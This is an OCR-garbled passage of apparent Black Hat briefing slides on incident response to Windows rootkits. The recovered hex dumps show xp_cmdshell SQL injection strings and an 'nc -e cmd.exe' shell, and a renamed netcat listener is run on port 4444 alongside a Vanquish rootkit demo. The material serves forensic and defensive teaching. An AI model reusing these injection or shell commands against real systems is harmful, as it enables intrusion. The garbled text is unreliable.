01ece78c	6d 33 3	2 3e 00	6c 65	20 -	- 73	6e	69	66	66	65	72	20	m32>.le sniffer
01ece79c	66 6f 7	2 20 77	69 6e	32 -	- 30	30	30	0d	0d	0a	43	6£	for win2000Co
01ece7ac	64 65 2	0 62 79	20 67	6c -	- 61	63	69	65	72	20	3c	67	de by glacier <g< td=""></g<>
01ece7bc	6c 61 6	3 69 65	72 40	78 -	- 66	6£	63	75	73	2e	6£	72	lacier@xfocus.or
01ece7cc	67 3e 0	d 0d 0a	68 74	74 -	- 70	3a	2£	2£	77	77	77	2e	g>http://www.
01ece7dc	78 66 6	£ 63 75	73 2e	6£ -	- 72	67	0d	0d	0a	0d	0d	0a	xfocus.org
01ece7ec	53 6e 6	9 66 66	69 6e	67 -	- 20	54	43	50	20	50	41	53	Sniffing TCP PAS
01ece7fc	53 57 4	f 52 44	20 2e	2e -	- 2e	0d	0d	0a	3c	43	74	72	SWORD <ctr< td=""></ctr<>
01ece80c	6c 2d 4	3 3e 20	74 6f	20 -	- 71	75	69	74	0d	0d	0a	0d	l-C> to quit
01ece81c	0a 49 6	£ 63 74	6c 20	45 -	- 72	72	6£	72	3a	20	31	30	.loctl Error: 10

Dr Watson Log

SQL Commands used to execute: Xp_cmdshell dir

 530def44
 70
 3d
 89
 00
 01
 00
 44
 00
 01
 00
 45
 00
 58
 00
 p=....D....E.X.

 530def54
 45
 00
 43
 00
 20
 00
 6d
 00
 61
 00
 73
 00
 74
 00
 65
 00
 E.C. m.a.s.t.e.

 530def64
 72
 00
 2e
 00
 78
 00
 70
 00
 5f
 00
 6d
 00
 70
 00
 5f
 00
 5d
 00
 5d
 00
 6d
 00
 70
 00
 5f
 00
 5d
 00
 6d
 00
 70
 00
 5d
 00
 6d
 00
 7d
 00
 7d
 0d
 5d
 0d

Dr Watson Log

SQL Commands used to execute: Xp_cmdshell echo bye >> c:\winnt\system32\ftp3.txt

6badef58	26	04	00	00	00	e7	e2	00	-	09	04	00	01	c6	e2	00	73	&s
6badef68	00	65	00	6c	00	65	00	63	-	00	74	00	20	00	2a	00	20	.e.l.e.c.t*.
6badef78	00	66	00	72	00	6£	00	6d	-	00	20	00	73	00	65	00	6c	.f.r.o.ms.e.l
6badef88	00	65	00	63	00	74	00	20	-	00	72	00	65	00	63	00	69	.e.c.tr.e.c.i
6badef98	00	64	00	20	00	66	00	72	-	00	6£	00	6d	00	20	00	61	.df.r.o.ma
6badefa8	00	20	00	77	00	68	00	65	-	00	72	00	65	00	20	00	69	w.h.e.r.ei
6badefb8	00	64	00	3d	00	31	00	27	-	00	3Ъ	00	45	00	58	00	45	.d.=.1.'.;.E.X.E
6badefc8	00	63	00	20	00	4d	00	41	-	00	53	00	74	00	45	00	52	.cM.A.S.t.E.R
6badefd8	00	2e	00	2e	00	58	00	50	-	00	5£	00	63	00	4d	00	44	X.Pc.M.D
6badefe8	00	53	00	48	00	45	00	4c	-	00	4c	00	20	00	27	00	65	.S.H.E.L.L'.e
6badeff8	00	63	00	48	00	6£	00	20	-	00	62	00	79	00	65	00	20	.c.H.ob.y.e.
6badf008	00	3e	00	3e	00	20	00	43	-	00	3a	00	5c	00	77	00	69	.>.>C.:.\.w.i
6badf018	00	6e	00	6e	00	74	00	5c	-	00	73	00	79	00	73	00	74	$.n.n.t. \land .s.y.s.t$
6badf028	00	65	00	6d	00	33	00	32	-	00	5c	00	66	00	74	00	70	.e.m.3.2.\.f.t.p
6badf038	00	33	00	2e	00	74	00	78	-	00	74	00	27	00	2d	00	2d	.3t.x.t.'

ອບ∟0 p_cmds	she	ima I n	anc c.e	xe ·	-e	a to cm	d.e	xec xe	ut -v	:e: / хх	x.x	XX.	xx	x.x	xx	90	00	
017of38	01	00	00	00	04	25	fa	77	_	30	~ *	97	00	60	a 1	97	00	
917e130	01	01	00	89	00	00	01	00	_	45	00	58	00	45	00	43	00	/.w<
917of58	20	00	64	00	61	00	73	00	_	74	00	65	00	72	00	20	00	maeter
917ef68	20	00	78	00	70	00	, J 5f	00	_	63	00	64	00	64	00	73	00	xp cmds
917ef78	68	00	65	00	60	00	60	00	_	20	00	22	00	6e	00	63	00	hell "nc
917ef88	63	00	20	00	24	00	65	00	_	20	00	63	00	64	00	64	00	
917ef98	2e	00	65	00	78	00	65	00	_	20	00	2d	00	76	00	20	00	
917efa8	xx	00	xx	00	xx	00	xx	00	_	xx	00	xx	00	xx	00	xx	00	x.x.xx.x.x.
917efb8	xx	00	xx	00	xx	00	xx	00	_	xx	00	xx	00	xx	00	20	00	x.x.xx.x.x.
917efc8	39	00	30	00	30	00	30	00	_	22	00	39	00	2e	00	33	00	9.0.0.0.".93.
917efd8	32	00	2e	00	32	00	30	00	_	32	00	4f	00	44	00	42	00	22.0.2.0.D.B.
917efe8	43	00	00	00	00	00	00	00	-	00	00	00	00	00	00	00	00	c

BLACK HAT BRIEFING



Challenges to Current Response Methods

Even When an Organization has Pre-Made Toolkits and a Plan:

Live Response Can Be Very Time Consuming

Responder Usually is Challenged to Recognize Anomalies

Response Tools are Most Often User Space

Attack Tools are Migrating to Kernel Space



What Windows Rootkits Do

Hide Files and DirectoriesHide ProcessesHide Registry EntriesPrevent Deletion of FilesPrevent Anti-Virus from ExecutingList Goes On ...

C: WINDOWS (System) Z v.mu. exe	
C:∖>dir Uolume in drive C has no label. Uslume Consist Number in DBDG 0005	
Directory of C:>	
04/02/2005 01:48 PM 0 AUTOEXEC.BAT	
04/02/2005 01:48 PM 0 CONFIG.SYS 04/02/2005 05:04 PM (DIR) Documents and Settings	
04/02/2005 05:05 PT (JIR) Program Files 04/05/2005 08:31 AM (DIR) Response 04/05/20065 08:32 AM (DIR) uprovisib	
04/05/2005 09:16 AM (DIR) WINDOWS	
3 File(s) 198 bytes 5 Dir(s) 8,810,393,600 bytes free	
C:∖>cd vanquish	
C:\vanquish>vanquish.exe	
C:\vanquish>cd	
C:>>dir Volume in drive C has no label. Volume Serial Number is F8F0-AAA5	
Directory of C:\	
04/02/2005 01:48 PM 0 AUTOEXEC.BAT 04/02/2005 01:48 PM 0 CONFIG.SYS	
04/02/2005 05:04 PM <dir> Documents and Settings 04/02/2005 05:05 PM <dir> Program Files</dir></dir>	
04/05/2005 08:31 HT <ulk> Response 04/05/2005 09:16 AM <ulk> WINDOWS 2 File(c) 0 butes</ulk></ulk>	
4 Dir(s) 8,810,381,312 bytes free	
C:\>	

LACK HAT FING

Vanquish

C:\WINDOWS\System32\cmd.exe - hadvanquish.EXE -L -p 4444 -e cmd.exe	- 🗆 ×
C:\vanquish>badvanquish.EXE −L −p 4444 −e cmd.exe	_
C:WINDOWSVSystem321cmd.exe - tasklist	
C:\>tasklist	
Taek liet	
Task List has a second a suchlast and as do to also	
We are sorry for the inconvenience.	
If you were in the middle of something, the information you were working on might be lost.	
Please tell Microsoft about this problem.	
Task List. We will treat this report as confidential and anonymous.	
To see what data this error report contains, click here,	
Send Error Report	

Vanquish

C: C.WWN00WSLSystem32kcmd.exe Image: Comparise of the second	WINDOWSKystem32kcmd.exe penports nodCS OpenPorts v1.8 (-? for help) ight 6C2 OpenPorts v1.9 (-? for help) ight 6C3 OpenPorts v1.9 (-? for help) <	
C: C:WNDOWSSSystem32/cmd.exe X C::Superports DiamondS: OpenPorts v1.0 (-? for help) Gopuright (C: 2003, DiamondS: - http://www.diamondcs.com.au/openports/ Erec for personal and educational use only. See openports.txt for more details. SYSTEM [4] C::Supersonal and educational use only. See openports.txt for more details. SYSTEM [4] G::A:B::Signal and educational use only. See openports.txt for more details. SYSTEM [4] G::A:B::Signal and educational use only. See openports.txt for more details. SYSTEM [4] G::A:B::Signal and educational use only. See openports.txt for more details. SYSTEM [4] G::A:B::Signal and educational use only. See openports.txt for more details. SYSTEM [4] G::A:B::Signal and educational use only. See openports.txt for more details. SYSTEM [4] G::A:B::Signal and educational use only. See openports.txt for more details. UDP [9::B::A::A:::::::::::::::::::::::::::::	WHXDOWSUSystem32kcmd.exe Image: Comparise of the co	
C: C:WWHOOWSISystem32kcmd.exe G:\>openports DiamondCS OpenPorts I DiamondCS OpenPorts I I Comports DiamondCS I I I Comports DiamondCS I I I I Comports DiamondCS I I I I I Comport DiamondCS I I I I I I Comport DiamondCS DiamondCS I I I I I I Comport DiamondCS DiamondCS <thdiamondcs< th=""> Diam</thdiamondcs<>	VWN00WSUSystem32kemd.exc penports ndGS OpenPorts v1.0 1qbt (C5 2003.)	
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G:\>penpupts DiamondCS OpenPapts pile (-? for help) Grups fght College, liamondCS - litp://www.diamondcs.com.au/openports/ Free for personal and education1 use only. See openports.tf for more details. STEP (4.4) TCF 192.168.249.128:137 0.40.40:0 LiSTENING UDF 0.40.40:4128:137 0.40.40:0 LiSTENING UDF 0.40.40:4128:138 0.40.40:0 LiSTENING UDF 0.40.40:4128 0.40.40:0 LiSTENING UDF 0.40.40:4128 0.40.40:0 LiSTENING UDF 0.40.40:4128 0.40.40:0 LiSTENING UDF 0.40.40:4135 0.40.40:0 LiSTENING UDF 0.40.40:40 0.40:0 LISTENING UDF 0.40.40:40 0.40:0 LISTENING UDF 0.40.40:40 0.40:0 LISTENING UDF 0.40.40:40 0.40:0 LISTENING UDF 0.40.40:40 0.40:40 LISTENING UDF 0.40.40:40:40 0.40:40 LISTENING UDF 0.40.40:40:40 0.40:40 LISTENING UDF 0.40.40:40 0.40:40 LISTENING	perports	
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BLACK HAT BRIEFINGS





RootKit Revealers to the Rescue

www.sysinternals.com Interprets File System Discrepancies Interprets Registry Discrepancies Command Line as well as GUI Tool Can be Executed Remotely Using PSEXEC RootKit or Other Emerging Revealers Must be Incorporated into your Response Toolkits

<pre> C:\>dir Volume in drive C has no label. Volume Serial Number is F8F0-AAAS Directory of C:\ 04/02/2005 01:48 PM</pre>		::WINDOWS\System32\cmd.exe			<u>- 🗆 ×</u>	
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